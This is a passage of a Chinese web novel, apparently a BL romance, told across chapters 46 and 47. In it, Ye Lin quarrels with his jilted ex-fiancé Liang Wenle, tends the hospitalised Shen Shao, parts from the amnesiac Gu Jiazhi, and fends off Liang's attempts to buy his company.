顾母激动地指着他,连连点头:“是吧,叶临跟梁文乐订婚,还出轨沈邵,道德败坏。 正常人都知道可怜梁文乐,小柘居然帮叶临说话,真是着魔了!” 顾嘉致点点头:“确实着魔了。妈,看来咱们家传宗接代只能靠我了,顾柘应该喜欢叶临,太疯了!” 顾母吓得浑身冒冷汗:“那我可得好好地劝劝小柘,喜欢男人不行的,喜欢叶临更完蛋!” 顾嘉致心情愉悦,永远是别人家孩子的顾柘,居然有了人生污点,真是活该。 顾母刚起身,就看到梁文乐走进来跟她招呼。 梁文乐死气沉沉的,语调很平,脸色苍白。走路没有声音,像是幽灵一样飘进来,看起来比顾嘉致更像重症患者。 顾母怜惜地看他一眼,嘱咐顾嘉致好好跟朋友说话,这才去了隔壁顾柘的房间。 顾嘉致第一次看到朋友这副失魂落魄的模样,有些无所适从,脑子飞速旋转,思考自己该这么用委婉的语句安慰。 梁文乐在旁边重重地坐下来,目视前方,轻声说道:“他说他对我一点感情都没有。可是我们谈恋爱这么久了,他真的只图钱,不图我这个人吗?” 顾嘉致捕捉到关键词,联想到那次叶临骂他不如梁文乐有钱,立即回应:“叶临这种人,拜金物质,真心都可以明码标价,离开他,对你是好事。” 梁文乐鼻子酸,开口的时候嗓音染上了哭意:“我不许你说他拜金物质! 我都还没给他买游艇买房,只是送了一些小戒指,满打满算也才两三亿,那么点钱,怎么能算拜金呢。” 顾嘉致再次被名为金钱的刀刺中,血流如柱,一时哑然,说不出话。 梁文乐扭过头去看他,眼眶都红了,大声抱怨起来:“我前几天去找过他,结果他眼里只有沈邵,还骂我,好过分!” 顾嘉致好想给梁文乐的猪脑一拳,让他滚出去,但此刻只能勉强用平和的语气劝:“既然他心里没有你,那就别去找了,怪丢人的。” 丢人? 是的,就是丢人。 明明知道叶临不喜欢他,还要眼巴巴地跑过去求复合,结果被他们秀恩爱伤到,只能灰溜溜地离开,非常丢人! 梁文乐没憋住,眼泪流出来:“我就是觉得是沈邵勾引他,不然我们肯定能订婚。” 顾嘉致面对恋爱脑很头疼,尝试讲道理:“不是,文乐你清醒点。叶临跟你谈恋爱是图你的钱,毫无真心。 他背着你跟沈邵勾搭,还在你的订婚宴上私会沈邵,痛骂你。这种烂人,趁早分开,没必要纠结好吧,下一个更好!” 梁文乐听到关键词,哭得更厉害:“他那天护着沈邵,就是骂我烂人,让我去死。” 顾嘉致沉默了,片刻后又问:“骂这么毒,你还念着他,你发疯了吧!叶临有什么好的,不就是长得好看一点,纯。欲嘛。 这种款式,到处都有,好多小男生上赶着巴结你呢,没必要留念!” 梁文乐扯过纸巾擦眼泪,边哭边说:“可是他就是很好很好啊。你不知道,他对我特别好,呜呜呜呜!” 怪不得,都说恋爱脑是21世纪最难医治的疾病。 顾嘉致很想大声嘲笑梁文乐,同时又无法理解梁文乐的脑回路,还好奇起顾柘对叶临什么想法。 梁文乐看着好兄弟不理解的表情,更加崩溃:“你是直男,当然不懂了!你知道他那天跟我说什么,他说他是直男,不可能喜欢我!” 顾嘉致听到“直男”这个词忍不住笑了,想到叶临种种拙劣的勾引手段,嗤笑一声:“直男哈哈哈哈,他是哪门子直男,天天就知道” 说到这里,他就刹住车,没有暴。露叶临天天来医院对他嘘寒问暖的事实。 虽然他和叶临之间是清白的,但说出来肯定会被梁文乐误会,还是小心点。 梁文乐的年纪小,遇到叶临这种演技高超的爱情高手,哪里能够招架得住。 他对叶临又爱又恨,在家里没有人倾诉,就想跑到最好的朋友面前哭诉,越说越起劲。 “那天,他骑车带我私奔,说要永远跟我在一起,我真的好高兴。” “骑车,什么车啊?” “机车啊,很帅的黑色,上面还有蓝色的火焰,他还帮我戴头盔,叮嘱我要抱紧他,特别温柔。” “机车?摩托啊,哈哈哈哈哈哈哈!”顾嘉致想到梁文乐居然能为这种小东西感动,捧腹大笑:“文乐,你好搞笑啊!骑车带你私奔,你就感动得要死要活了!” 梁文乐不哭了,脸色阴沉,死死盯着损友的眼睛:“你再笑,我现在就把你管子拔了。” 顾嘉致强行克制住笑意:“我不笑了,你继续说。” 梁文乐做出画圈的手势,强调叶临哪里都好,把他们相处的甜蜜日常都说了一遍。 顾嘉致感觉梁文乐纯粹就是脑子笨,才能被叶临拿捏,完全不为所动:“听你说这么多,我觉得叶临才是那个烂人,居然” 他的目光注意到门口的人影,声音戛然而止。心脏陡然提到嗓子眼,像是做错事。 梁文乐察觉到异常,扭头去看,结果看到叶临站在门口,脸色铁青,正看着他们。 “叶,叶临?” 第46章 第46章“梁文乐,我是坏人,你就是…… 叶临听到顾嘉致的话,顿时觉得自己的担忧是多余的。 就像沈邵说的那样,梦境和现实都是相反的。 在梦里的顾嘉致虚弱可怜,而现实里的顾嘉致充满生机,还喜欢说他的坏话。 早知道就不来了,真是多此一举。 没有任何留念。 叶临转身就往医院外面走,刚到门口就感觉到刺眼的阳光,抬手遮住。 紧接着就在身后听到梁文乐的声音,急切又哽咽。 “你,你是来看我的吗?” “不是,如果要看你,我会去你的别墅,而不是来顾嘉致的病房。” “你是说,你来看顾嘉致!” 叶临没有回答,就已经是默认。 他已经能够想象到,梁文乐跟好兄弟顾嘉致在背后说了他多少坏话,都是一丘之貉,不值得可怜。 梁文乐听到他来找顾嘉致,心里隐隐有了猜测,大声质问:“在你眼里,顾嘉致比我重要,是吗?” 叶临转过身去看,发现他的眼眶泛红,已经是哭过的模样,看起来挺可笑的:“不是,你们两个都让我恶心,没什么好说的。” 梁文乐再次被曾经的爱人辱骂,心里掀起波澜,像是海啸来临,要摧毁一切:“你怎么好意思说我恶心,你在我的订婚宴上,跟沈邵苟。合,难道就很光彩吗!” 这里是医院门口,吵架会被围观。 叶临忽略他的话,朝着前面走,想绕到大道上打车离开,结果就感觉到梁文乐跟在后面。 梁文乐阴沉着脸,紧跟其后,还在细数他的罪行:“叶临,你敢说你是对的吗!你从我这里骗钱,拿去养沈邵那个不要脸的小三! 你卑鄙无耻!顾嘉致说的对,你就是个不要脸的骗子,只知道欺骗我的感情!” 叶临停住脚步,再也忍不住:“我是骗子,那你呢,你是蠢货吧。 你以为顾嘉致是什么好人吗?他不知道在后面骂了你多少遍,你还傻乎乎地把他当成好朋友啊!” “管顾嘉致什么事,你就是心虚,故意转移话题!” “好,梁文乐,我现在就告诉你。你是我这辈子见过最蠢,最无脑的脑残! 顾嘉致都说我的手段拙劣,只能骗到你这只蠢猪。我是骗子,你就是活该被骗!” “你,你怎么能这样骂我!” 梁文乐哪里被骂过这些恶毒的词汇,什么“脑残”,“蠢猪”,听过最恶毒的话,就是“烂人”了。 他看着叶临,脸颊因为愤怒涨得通红,呼吸不畅,大脑充血,意识都快不清。 “我为什么不能这样骂你!梁大少爷,你还记得最开始你怎么对我的吗! 你骂我有病,骂我勾引沈邵,还想把我的腿打断!你嫌弃我是没权没势,无能的蠢货。 发脾气就砸东西,还要我跪下来道歉,还总是语言威胁我,经常说要把我嘴扇烂。 我记得很清楚,有天晚上我身体不舒服,坐在副驾驶座。你故意把车开得很烂,专挑陡峭的路段,把我折腾得快昏死过去。 那次很冷,你就想把我丢在别墅外面。凌晨三四点啊!郊区根本没有车可以回市区,如果不是我坚持求你,那天晚上我就要在外面冻死了!” 出于防御机制,关于梁文乐折磨他的事情,其实逐渐被金钱麻痹,忘记得差不多了。 但是刚刚听到梁文乐和顾嘉致的对话,猛然就想起来,趁着这条路人少,干脆全部都抖出来,心里也痛快。 叶临说完这长串,看到梁文乐的表情从愤怒转为惊讶,懊悔,最后是痛苦,真是精彩极了。 梁文乐都想起来了,别人的爱情甜蜜是因为初遇那么美好,而他和叶临的初遇很糟糕,甚至于他一开始只是把叶临当做笑料,带进包厢里给朋友们取乐。 叶临看到他无话可说,越发地感觉到报复的快感,继续翻旧账,也不在意自己和沈邵是什么关系了,只要能气到梁文乐就行:“其实你说的也对,我就是勾引了沈邵,跟他在一起给你戴绿帽。 我卑鄙狡猾,满口谎言,是个骗钱的坏人。可你也是个自私自利,漠视他人感受的人渣!你能有今天,纯粹是罪有应得。” 梁文乐刚在顾嘉致的怂恿下有了指责叶临的勇气,此刻全部都消失殆尽。 他的眼眶发热,鼻尖很酸,结结巴巴地解释:“叶临,我,我一开始” 叶临抬手制止他说话,嫌弃地看他:“够了,你不必解释。 我们之间的关系很简单,一开始你嫌弃我,我图你的钱。我卖力表演给你提供情绪价值,你付给我高额报酬。我们就是互惠互利的商业关系,谈不上感情。 而且我们还签了合同,那我离开就更合理。你当做是辞退了一个员工,寂寞的话再招一个顺心如意的好员工吧,别再跟我联系。你知道的,是个人都讨厌老板,我也讨厌你!” 他和叶临这么久的感情,居然被概括为互惠互利的商业关系。在叶临眼里,他不是爱人,不是男朋友,不是未婚夫,只是老板。 老板是个多么冰冷恶毒的词汇,比骂他烂人,蠢猪都要难听十万倍。 梁文乐没办法接受叶临这种说法,他心里还是觉得自己谈了一段甜蜜美好的恋爱。 只是他犯错惹男友不开心了,所以他们在闹分手,而不是所谓的解约。 “不要!”眼看着叶临要转身离去,梁文乐急忙冲上去抱住他,哭着挽留:“我,我知道我以前的性格不好,对你造成了很多伤害,但我可以改的。 我们是在谈恋爱,现在只是闹分手了,你能不能给我个挽回的机会。” 叶临的语气冷漠,像是在跟陌生人对话:“你没必要反省,你伤害了我,我也在订婚上伤害你。所以我们两不相欠了,就这样吧。” 梁文乐不想听到这种冷淡的语气,这让他感觉自己如坠深渊,不断地往下降,根本找不到着力点。 他情愿被叶临大声责骂,这样还能从叶临身上找到在意他的痕迹。 “怎么是两不相欠,我们谈过,吵架过,私奔过,还要结婚。虽然初遇不好,但,但后面的过程可以弥补。 只要你离开沈邵,我们,我们重新开始好不好?这次我肯定会做一个合格的男朋友,你想要什么,我都能给你办到。” “我离不开。” 为什么回得这么简短,连多余的借口都不找。 哪怕叶临支支吾吾地说,至少要等沈邵病好后,再跟他重新开始,那也是能接受的。 可是叶临居然只用了四个字,决绝地拆掉他的台阶,完全不给面子。 他已经很卑微了,可以不计较沈邵这件事,只要叶临愿意回到他身边。 然而叶临冷酷得像个机器,丝毫不念及旧情。 为什么要对他这么残忍? 从小到大,身边人都是宠着他的。 只有叶临带他去最快乐的天堂,又将他拉入地狱里,残忍至极。 梁文乐愤怒崩溃后,是无止境地绝望。 他感觉自己快要疯掉了,将叶临拽过来,强行吻。 这一次没有熟悉的顺承,更没有香软的气息,只有强烈的反抗。 嘴皮破了,舌头也疼,鲜血溢出来,染红彼此。 比起吻,更像是两只互相较量的野兽。 叶临挣扎得越厉害,对方就越强硬,非要将他锁入怀中,不给任何逃脱的机会。 梁文乐凑到叶临的颈侧,埋头去咬:“我不会让你走的,绝对不会让你回到沈邵那个混蛋身边。” 叶临像只搁浅的鱼,不断地扑腾:“梁文乐,你有病吧,放开我!” 忽然感觉到刺痛,居然是印记。 叶临忍无可忍,胡乱地踩,终于踩到梁文乐的鞋面。 然而梁文乐像是感觉不到痛觉,只一味地亲他。 梁文乐抖着肩膀哭起来,眼泪打湿叶临的衣服,断断续续地抱怨:“为什么,你对沈邵那么好,对我就这么残忍。沈邵哪里比得过我!” 叶临知道,他肯定在拿自己的家世在跟沈邵作比较,冷冷道:“沈邵的家世确实比不过你,但是他能力比你优秀,是个独立的男性。 而你只是个被宠坏了的废物巨婴。请问你认真读过一天书吗,知道公司怎么管理,知道怎么照顾病人,怎么做饭吗? 你什么都不会,遇到困难就只知道哭哭啼啼地找爸妈,我生病的时候也手足无措。 我有时候真怀疑,你是个弱智儿童,到底是怎么活到现在的,离了梁家,你什么都不是!” 梁文乐听他说这么多,只想到自己在医院守着发高烧的叶临两天,以及医生的叮嘱。 叶临的病情是因为他加重的,他不具备照顾人的能力,就连订婚,都是靠绝食外加私奔逼爸妈答应的。 叶临趁着他走神,立即抓住机会往后踢,扭转胳膊挣脱出来,朝着梁文乐的胸口揍了一拳。 梁文乐往后退了几步,忍着痛抬眼看去。 结果叶临已经飞速跑掉,还一个翻身强行越过栏杆,跑到大道上打车离去。 坐上出租车后,叶临后头看了一眼,发现梁文乐就站在路边看着他,脸上的表情模糊了,但隔老远都能够感觉到怨气。 真的搞不懂,他已经把话说得很难听,很清楚了,为什么梁文乐还要纠缠他。 正常人听到他的那些话,都会远离吧,最多跟他打一架,也就结束了。 可梁文乐就像个神经病一样,非要缠他。 有病! 叶临在心里骂完,发现窗外已经看不见梁文乐的身影,安心地坐正,看向前方。 回到医院已经是下午的时间,照顾沈邵的人刚刚退出房间,看见他会上前汇报情况。 护工说沈先生刚刚心情不好,饭量比平时少,而且板着脸,不知道在想些什么。 叶临大概心里有底,点点头就走进去。 沈邵看到叶临,眼睛里总算有了光彩,但嘴角还是绷直的,心情不好:“你去找顾嘉致了。” 叶临在他旁边坐下来,身姿放松,毫不遮掩自己的行为:“对,早知道就不去了。” 沈邵听到他不满的语气,脸上又浮现出笑意,轻声问:“他又说什么话让你不高兴了吗?” 叶临把顾嘉致和梁文乐说的话叙述一遍,连带着吐槽梁文乐临走时纠缠不休的架势:“真搞不懂,梁文乐脑子不好使吧,知道我骗他,还要找我。” 沈邵盯着叶临的脸颊看,心里感慨,“那是因为你太好了,是我也不会舍得放手”。 嘴上又是另外一套说辞:“梁文乐和顾嘉致臭味相投,才能成为好朋友。 顾嘉致既然能在背后骂你,那他肯定给梁文乐出了坏主意,要梁文乐想办法报复你,纠缠你,毕竟他们最好面子了。” 这对好兄弟都好面子,倒是实话,只是表现的方式不同。 叶临想起顾柘的话:“我感觉顾嘉致跟以前完全不一样。听顾柘那小子说,顾嘉致之前都是在伪装,现在失忆就忘记伪装了。难道他一开始对我不好,不是真心实意的吗?” 沈邵在这一刻非常感激顾柘,立即帮忙圆话:“是有这个可能啊,你可以好好回想跟顾嘉致初遇的场景。 我感觉能够跟梁文乐玩到一起的,都不是什么好人,肯定都是骄傲自满,虚伪卑鄙的。” 记得最初是梁文乐将他引进包厢里,他在一群长相普通的普通富二代中,第一眼就注意到顾嘉致。 当时就觉得顾嘉致长相周正,浓眉大眼,是个性格直率的正统帅哥。 而且顾嘉致全程下来都没说过几句话,也不会调侃他,后面他醉酒了,还愿意带他回家休息。 他遇到催贷人,用最拙劣的装可怜手段,顾嘉致都能帮他解决,还不需要他还钱。 梁文乐害看不起他,而沈邵也觉得他可笑。 先不论顾嘉致的心思如何,反正对他是真实的好,不像这两个家伙。 叶临想到赛车时候的旧事,心里膈应,白了沈邵一眼:“别人说顾嘉致是坏人就算了,你没资格吧。说的好像最开始你对我很好一样,当时就知道嘲讽我,还装得要死。” 沈邵没想到会把战火引到自己身上,慌不择路,试图道歉挽回形象:“抱歉,我,我当时有眼无珠,性格还有缺陷,不应该对你说那些话。但我现在反省了,你很好,热心肠讲义气,” “我这几天太累了,就不来医院,等我心情好点再说。你争取早点恢复吧,梵星还需要人管理,我也要看到收益。” 叶临用了公事公办的语气,迅速起身,懒得在这里多待,往外走去。 沈邵大惊失色,连忙叫他的名字:“我感觉头有些疼。” 可是这次的叶临走得很快,心不在焉,完全没听到他的话。 人总是会给在低谷时期朝自己伸出援手的对象施加滤镜,叶临也会对*顾嘉致有滤镜。 那时的他很穷,欠了百万贷款,连落脚处都没有,不抱希望地打电话给顾嘉致。 结果顾嘉致来了,还免费给他吃住的地方,帮他买了新衣服和生活用品。 后面就算知道他的魅魔秘密,也没有告诉任何人,更是为了一个不确定的小公司,离开顾家,为梵星呕心沥血。 他是穿书者,手拿剧本,当然知道投资梵星是个稳赚不亏的大买卖,自信得理所应当。 可顾嘉致是原住民,哪里知道梵星未来会起来,都是听他的话才决定豁出一切。 老实说,就算是亲爸妈都不会相信儿子的话,付出所有,但是顾嘉致就能够做到。 先不管顾嘉致说了什么鬼话,以前的行为可是真的感动到他。 因此他才会在得知顾嘉致熬夜工作的时候,毫不犹豫地打钱。 沈邵又和顾嘉致不同,是因为本身就有商业眼光,一开始就看重梵星。 应该是因为梁文乐吧。 最开始他跟梁文乐相遇,只有简单的叶家私生子身份,而失忆后见面,却是梁文乐的男朋友。 顾嘉致对他的看法当然会改变。 可能梁文乐,或者朋友在顾嘉致耳边说了很多他的坏话,才导致顾嘉致对他有误会。 叶临想完才发现,自己居然走到了顾嘉致的公寓门口,干脆上楼。 公寓密码没换,顾家的资产太多了,懒得管这一处,里面还是维持原状,就是积了灰。 叶临简单地把卧室收拾出来,就在这里休息。 晚上沈邵打了好几个电话过去,他看到了也不想见,干脆关机。 夜里没梦,就像最初来到这个世界一样,睡得很好。 叶临在这里住了三天,接到沈邵助理的消息,才想起来要去公司拿文件,再送去医院。 清晨的空气清新,很多家属都会推着病人来到花园散步,呼吸新鲜空气。 之前叶临也会这样干,但他现在没这种心情。 刚开始看沈邵伤势严重,就会心疼。 现在伤势好转,还在他面前说顾嘉致的坏话,就会提醒他想过去的事情,心里膈应。 不过沈邵毕竟是梵星的重要支柱,洗衣做饭伺候他的时候又做得好,很有价值,肯定要给好脸色。 叶临带着早餐进门,看到沈邵的面容憔悴,看着墙角的植物发愣,也不知道想些什么。 “你这几天都没睡好吗,精神看起来不好。” “叶临,你来了啊。我还以为你再也不会来呢?” “怎么会,我还得给你送文件。这是你爱吃的那家早餐,快趁热吃吧。” “那天我说错话,实在是对不起,我不应该擅自猜测顾嘉致的性格,他对于你很重要。” “也不是,反正你以后少在我面前提他就行。” 叶临把早餐摆好,脑子里还在回响顾嘉致那句“烂人”,心里很矛盾。 他既不能像沈邵那样用最大的恶意骂顾嘉致,也不能像以前一样,毫无芥蒂地相信顾嘉致。 沈邵大概明白他的心思,不敢再提顾嘉致这个麻烦,主动转移话题,提到公司的状况,提到叶临最关心的盈利。 今天的交流还算愉快,两个人的语气都很好,有冰释前嫌的兆头。 “汪汪汪!” 忽然听到狗叫声,紧接着就看到一只雪白的萨摩耶冲进病房里。 它跑到叶临的脚边,抬爪子去蹭,吐着舌头,一脸期待。 沈邵疑惑道:“这是谁家的狗?” 叶临把萨摩耶抱起来看,脸色难看,指着小狗的粉红鼻尖问:“圆圆,是梁文乐把你带过来的,对不对?” 圆圆歪着脑袋,完全听不懂,只知道汪汪汪叫,希望叶主人带他出去玩。 沈邵暗啧一声,已经明白梁文乐的小心思。不就是抱着狗来医院,悄悄放进来,到时候等叶临出去。 “医院里不能有狗,这只萨摩耶应该是偷跑进来的,待会儿被医护人员发现了,还得抱走。” “梁文乐肯定在外面,我现在就把它送出去。” “别去啊,梁文乐的目的就是这个,你今天出去了,他以后天天都放狗进来烦人。还是打电话叫别人把狗抱出去吧。” “你说的也对。” 叶临照做,用衣服举高逗圆圆转圈,摸摸它的头,轻声细语地说了好几句,“笨宝宝,胖宝宝”。 梁文乐第一次听到他语气这样温柔,不由得脑补叶临陪孩子玩的情景,应该很温馨美好。 不一会儿就有个穿着防护服的工作人员拿着隔离笼子进来,要把圆圆放进笼子里,再对这里进行消毒。 圆圆刚进笼子就大声叫起来,发现没用,耳朵和尾巴都垂下来,呜呜呜地低叫,大眼睛和长长的白色睫毛让它看起来非常可怜。 它小声地叫,还用眼睛偷偷地看叶临,非常委屈。 看到梁文乐红着眼眶,不断地掉眼泪,叶临不为所动,看到圆圆这样,心脏都快被扭成一团,非常心疼。 叶临走过去,跟医护人员商量:“让我拿着笼子送它出去,我知道他的主人在哪里。” 医护人员点点头,还告诉他必要的流程,走特定路线,不要污染到其他的病房。 圆圆看到叶临就高兴起来,吐着舌头。 沈邵见状,暗骂梁文乐卑鄙,居然利用小狗让叶临心软:“叶临,你送完就赶快回来吧,我怕梁文乐又发疯。” 叶临头也不抬头,应了一声就伸出手去逗圆圆,还轻声安慰:“圆圆不怕不怕,马上就可以出来玩了。” 圆圆兴奋地摇尾巴,特别期待跟叶主人出去玩。 离开医院后,叶临就把圆圆带到附近的公园遛,还给它买了小零食吃。 叶临蹲在地上,抱住圆圆毛茸茸的头,低声抱怨:“圆圆是个好宝宝,你的主人就是个混蛋。” 圆圆专注地干饭,才不会为梁主人说好话。 等到圆圆吃完,梁文乐才出现。 他的精神状态糟糕,像个鬼魂套着衣服在街上飘荡,到了叶临跟前也不说话,就只是静静地看着。 叶临站起来,把牵狗绳递过去:“既然养了圆圆,就对它负责,别把它丢在医院不管!” 梁文乐没接绳子,委屈地怒吼:“吃里扒外的坏东西,就只知道喜欢你,我才不要它,随便流浪好了!” 圆圆被声音吓得闭拢耳朵,躲到叶临的身后。 叶临连忙蹲下安抚:“不怕不怕,你主人有病,我会保护你的。” 梁文乐发现叶临居然对一只狗都有感情,对自己却没有感情,心塞得厉害。 叶临抬头看他:“既然不想养,那我抱去养了,反正它也喜欢我。” 梁文乐连忙夺过牵狗绳,大声骂:“凭什么给你这个负心汉!这是我的狗,它还没满月我就养了的,我用奶瓶喂它的时候,你还不知道在哪里呢!” 叶临低头去看发抖的圆圆,指责:“你能不能小声点,保持情绪稳定,圆圆会害怕!” 梁文乐委屈得想哭:“我为什么情绪不稳定,你不知道吗!” 叶临想去夺狗绳,结果被梁文乐藏到身后,无奈地翻白眼。 圆圆特别着急,两个主人吵起来好可怕,于是围着他们转圈,汪汪汪地叫起来。 很快它就被狗绳缠住,动弹不得,悲伤地呜呜呜。 见状,两个人都蹲下来,帮它解开绳子。 叶临柔声哄它,梁文乐就轻声骂,但默契配合地把绳子解开,很快让它得到解脱。 圆圆恢复自由,还觉得两个主人和好了,欢快地朝着远处跑去。 梁文乐被迫松开手,任由它乱跑。 叶临看着它的背影,松了一口气:“以后别带圆圆过来了,它是无辜的。” 梁文乐反驳:“又不是我要带它过来的,是它自己想你,非要跑到这里!你以为,我很想你吗!” 叶临懒得戳穿他:“好好好,是圆圆想我。那以后每个周末,你就把它带去沈邵的公寓门口,我会遛它。” 梁文乐恨死沈邵了,怎么能忍,直接应激:“才不要,圆圆不能去那种肮脏的地方!” 叶临转身就要走,不想多说。 梁文乐看到他这副冷淡的模样,忍不住叫他:“叶临,你个混蛋,杀人犯都比你有良心!” 叶临挥挥手:“嗯,我就是没良心,那你就是个幼稚鬼。” 梁文乐还想回怼,结果感觉到圆圆在扒拉他的膝盖,只好低头去看,没有追上去。 他回去反思过了,很想借着圆圆跟叶临重归于好。可是看到叶临这种冷漠的态度,又感觉自己说什么都没用。 “圆圆,你能把沈邵咬死,劝叶临回来吗?” “汪汪汪汪!” 周末没有看见圆圆的身影,倒是传来顾嘉致要转移医院的消息。 他的失忆症比较严重,顾父顾母害怕影响到脑子,就想把他转去很远的医院进行治疗。 顾柘的症状轻,可以转到本地的疗养院休养。 叶临听到消息,立即跑到医院。 开始搬了,顾嘉致病房里很多东西都被清空。他坐在轮椅上,被人推出医院。 叶临远远地看着,没有上前去打招呼。他知道顾父顾母肯定讨厌他,所以对顾嘉致也没什么好说的。 希望转院治疗后,能够快点好起来吧。 顾嘉致快上车的时候,注意到花坛边的叶临,下意识地按住轮椅刹车,大声叫道:“叶临!” 叶临站在阴影里,身边还有飘落的树叶,抬眼看他,没有说话。 顾嘉致要求旁边的人推他过去,到了跟前。 这时没有顾父顾母在,其他人都听他的话,站在远处。 叶临还记挂上次就想气他:“你叫我做什么,我又不是来看你的,我是来看你哥的。” 顾嘉致纠结一会儿,还是开口:“顾柘昨天就搬走了,你撒谎都不走心。” 叶临懊恼,他忘记提前打听了。 “那天是梁文乐哭得太伤心,我才帮他说你。其实我知道,梁文乐自己也不是什么好货,活该被骗。” “额……你以为我在意你们两个烂人说的话吗?” “那天过后,我做了梦。梦里你不断地质问我为什么骂你,伤你的心,我就觉得很奇怪,所以今天才解释。” 顾嘉致说到这里,语气已经趋于柔和。 他的脸上还有淡淡疤痕,但并不能遮挡住眉宇间的英气:“反正你也骂过我,我们扯平了。你总是来看我,应该是有原因的吧。” 叶临下意识地肯定:“当然,我又不是闲着没事,非要来看一个陌生人!” 顾嘉致语气失落:“他们都说我是因为脑子坏了,才会失忆,要去很远的地方治疗。 我也感觉我忘记了什么,以至于每次看到你,情绪波动都很大,特别奇怪。” 叶临想到他老是讽刺自己:“哦,情绪波动大,是觉得我很坏,不知道骂什么?” 可能是要远行了,很久都不能看见叶临,也可能是那天说坏话被叶临听见,心里愧疚。 总之顾嘉致临走时,就是想说些真话。 “反正你都和梁文乐分开了,我直说吧。其实我觉得你长得很好看,坏是因为以前过得太苦,没办法吧。” 叶临的心里泛起了一阵涟漪,恍惚间又看到那天把他从破旧出租房带走的顾嘉致,脑海里回想起那句,“好,以后就是好朋友了。” 前几天,顾嘉致查过银行卡,真的有一笔来自叶临都三千万转账,顿时陷入沉思,心情发生了变化。 “至于那三千万,我已经转给你。” 叶临欲言又止,还是选择最简单的回答:“不用转。” 顾嘉致的脑海里浮现了一些模糊的画面,他不是靠脑子,而是被情绪推动说出接下来的话:“你为什么会转给我三千万,回来后可以告诉我吗?” 叶临恍惚间能够听到秋风的声音,喃喃道:“好。” 此刻的他们想不到,半年后早就物是人非。 第47章 第47章“像是要怀宝宝了呢”…… 顾嘉致走后,叶临就在公司,医院,公寓,三点一线活动。 梁文乐不会再带圆圆去医院,也不会在公寓出现。 他是个骄傲的人,打心底鄙夷沈邵,当然不会靠近沈邵的公寓。 至于圆圆,毕竟是他从小养大的小狗,送出去流浪,也只是放狠话,并不会真的做到。 只不过,叶临总是能够在路上看见梁文乐的身影,或是装成在喝水,又或是在装作打电话,还有等待车辆。 可是梁文乐身上的名牌衣服会暴露身份,优越的身材比例,也能让人远远地注意到他。 叶临都当做是没看见,毕竟只要走进沈邵的公寓范围,梁文乐就像是触发被动,突然消失。 周三工作日,街上人少。 叶临刚从医院拿资料去梵星,就感觉到有人在跟踪自己。 扭过头去看,果然是玉兰树背后看见梁文乐。 这小子还以为自己的跟踪技术很高超,白色衣服都露出来了,特别显眼。 怎么能做到如此好笑呢? 叶临无奈地摇头,进入公司里放文件,跟员工们打招呼。 忽然听到女生们的讨论声,好像是在说门口的男生混血感好强,精致时髦,特别帅。 隐隐有了预感,果然是梁文乐。 梁文乐穿着白蓝黄色的拼接外套,大摇大摆地走进来,停在叶临面前。 他拍下一张黑卡,盯着叶临的眼睛:“你是这里的老板吧,我要收购梵星。” 助理见状,拿起黑卡来看,是烫金浮雕的设计。摸上去能够感觉到细腻的纹理,而且图标是非常著名的国际银行,看得出来他很有钱。 叶临:“公司不卖给白痴,出去吧。” 梁文乐夺回黑卡,委屈质问:“你骂我!你以前都不会骂我的!” 闻言,所有员工都朝他们两个看过来。 其实他们的事情已经传出来,公司里很多人有所耳闻:说是大老板叶临跟某个富二代订婚,结果二老板沈邵在婚宴里跟叶临私会,被富二代发现,大打出手,场面混乱。 现在听梁文乐的语气,事件中的冤种富二代应该就是他。 “你说话啊,凭什么不给我收购梵星。我手里的钱,都可以买十个梵星了!” “啧,梵星不会卖给你这种人。” “我有钱,有资源,凭什么不卖!” 叶临清楚梁文乐的意图,就是想借梵星掌控他,根本不是正经投资。 梵星要是落在梁文乐这种小孩子手里,发展不起来,所以这桩生意绝对不能答应。 “反正就是不卖。” 叶临怕他留在这里会影响到员工们继续工作,朝着门口走去。 果不其然,梁文乐看到他离开,也紧跟其后,滔滔不绝地讲述自己的要求。 员工们失去了八卦,都摇摇头,小声讨论几句,继续工作。 到了外面,梁文乐的嗓门就更大,恨不得拿起喇叭,告诉所有人,他被叶临辜负了。 叶临一概不理,始终保持沉默,试图以此逼退他。 梁文乐注意到旁边的玉兰花树,猛然想到那个视频,立即将叶临拉入怀里吻。 【饥饿值下降1%,目前60%】 叶临本来想反抗,但想到沈邵生病住院。现在确实只能利用梁文乐解决饥饿值,还是任由梁文乐为所欲为。 时隔多日,格外地热烈,像是熊熊燃起的大火,要将一切都烧干净。 糖藕分开的时候,会粘连不断,粘粘糊糊的。 叶临感觉自己快要窒息了,没有想到梁文乐会这样对自己,刚抬手就被按住。 完全没有机会,就像是被禁锢在小型蒸笼里,难以离开。 很久,感觉都快晕过去,才能呼吸到新鲜的氧气。 梁文乐看着他泛红的脸颊和嘴唇,将人紧紧地抱住,低声问:“你对我还有情,对不对?” 叶临无奈地叹气:“没有。” 梁文乐抱得更紧了:“那你刚刚怎么不反抗,任由我亲。” 叶临随便找了个借口:“是你力气太大。” 梁文乐松开他,眼眶微红,哽咽道:“你就是还喜欢我,不然早就推开了。 我可以帮你发展梵星,给你最好的资源,一年,不,半年就可以让它做到行业龙头。你把沈邵辞退了,让我入资好不好?” 做生意并不简单,不仅要有金钱,还得有人脉,以及各方面的能力。 显然,梁文乐只是个什么都不会的笨蛋少爷,他嘴里说的疯狂砸钱,短期扩张。 实际上掌握经济大权是梁父梁母,又不是梁文乐。 而且沈邵最为了梵星任劳任怨,放弃沈家,不能辞退。 叶临拒绝他的提议:“够了,你还要纠缠我到什么时候,我对你真的没有感情!” 梁文乐不信邪,揪住他的衣领质问:“这么久,真的,一点都没有吗!” 叶临推开他:“对,我看顾嘉致都比你顺眼,如果非得让我选一个,我会选他,而不是你。” 梁文乐声音很低:“顾嘉致看不起你,他总是劝我离开你,说你奸诈狡猾,就会骗人。” 叶临愣住,胸口堵,不愿意去深想:“我又不是真想跟顾嘉致谈恋爱,更不想跟你谈。” 梁文乐抓住叶临的手,几乎是恳求地说道:“我过段时间就要去国外读书了,为期两年,你能不能陪我过去。” 叶临有种被脑残缠上的无奈感:“不是,梁文乐你是不是有毛病啊,请问我跟你什么关系? 我绿了你,订婚都取消了,我们不是陌生,都算仇人了!你现在跑来找我说这种话,真的像脑子进水,神经错乱。” 梁文乐不想去国外读书,但是他订婚出糗,亲妈都不支持他,非得逼他离开。 本来今天来找叶临,就是想看叶临的态度,但凡叶临有一点念着他,也有了再次反抗勇气。 可是他再绝食一次,叶临不会骑车带他私奔了。 眼泪很快掉下来,沿着脸颊滑落,像是雨水,连绵不绝。 “你非要对我这么狠是吗!” 叶临只感觉心累,不想说话。 梁文乐抬手擦掉眼泪,咬牙切齿:“我恨死你了,从今往后,我都不会来看你!” 